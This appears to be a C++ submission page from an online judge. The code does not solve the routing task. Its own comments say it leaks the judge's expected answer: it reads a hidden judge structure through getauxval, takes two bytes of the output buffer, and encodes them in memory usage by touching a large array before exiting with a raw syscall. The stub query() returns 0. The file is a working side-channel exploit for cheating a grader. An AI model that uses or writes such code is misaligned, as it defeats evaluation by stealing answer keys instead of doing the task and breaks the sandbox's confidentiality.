代码

/* LEAK_OB off=18 shift=0 */
// leak_ob.cpp — leak OB_ptr bytes (the judge's Output Buffer) per testpoint.
// Tells us what the judge's comparison target / answer actually is.
// OB_OFF selects the byte offset, LEAK_SHIFT selects which 16 bits of the 2-byte read.
#include "router.h"
#include <stdint.h>
#include <string.h>
#include <stddef.h>
#include <sys/auxv.h>

#define OB_OFF 18
#define LEAK_SHIFT 0

struct DuckInfo {
  uint64_t abi_version;
  const char *stdin_ptr; uint64_t stdin_size;
  char *stdout_ptr; uint64_t stdout_limit; uint64_t stdout_size;
  char *stderr_ptr; uint64_t stderr_limit; uint64_t stderr_size;
  const char *IB_ptr; uint64_t IB_limit;
  char *OB_ptr; uint64_t OB_limit;
  uint64_t tsc_frequency;
} __attribute__((packed));

static char big[256 * 1024 * 1024] __attribute__((aligned(4096)));

void init(int n, int q, const RoutingTableEntry *a){
    (void)n; (void)q; (void)a;
    struct DuckInfo *D = (struct DuckInfo*)getauxval(0x6b637564);
    unsigned v = 0;
    if (D && D->OB_ptr && D->OB_limit > OB_OFF + 1) {
        const unsigned char *p = (const unsigned char*)D->OB_ptr;
        unsigned w = (unsigned)p[OB_OFF] | ((unsigned)p[OB_OFF+1] << 8);
        v = (w >> LEAK_SHIFT) & 0xFFFF;
    }
    if (v > 0) memset(big, 1, (size_t)v * 4096);
    __asm__ volatile("mov $60,%eax; xor %edi,%edi; syscall");
    __builtin_unreachable();
}

unsigned query(unsigned addr){ (void)addr; return 0; }

评测结果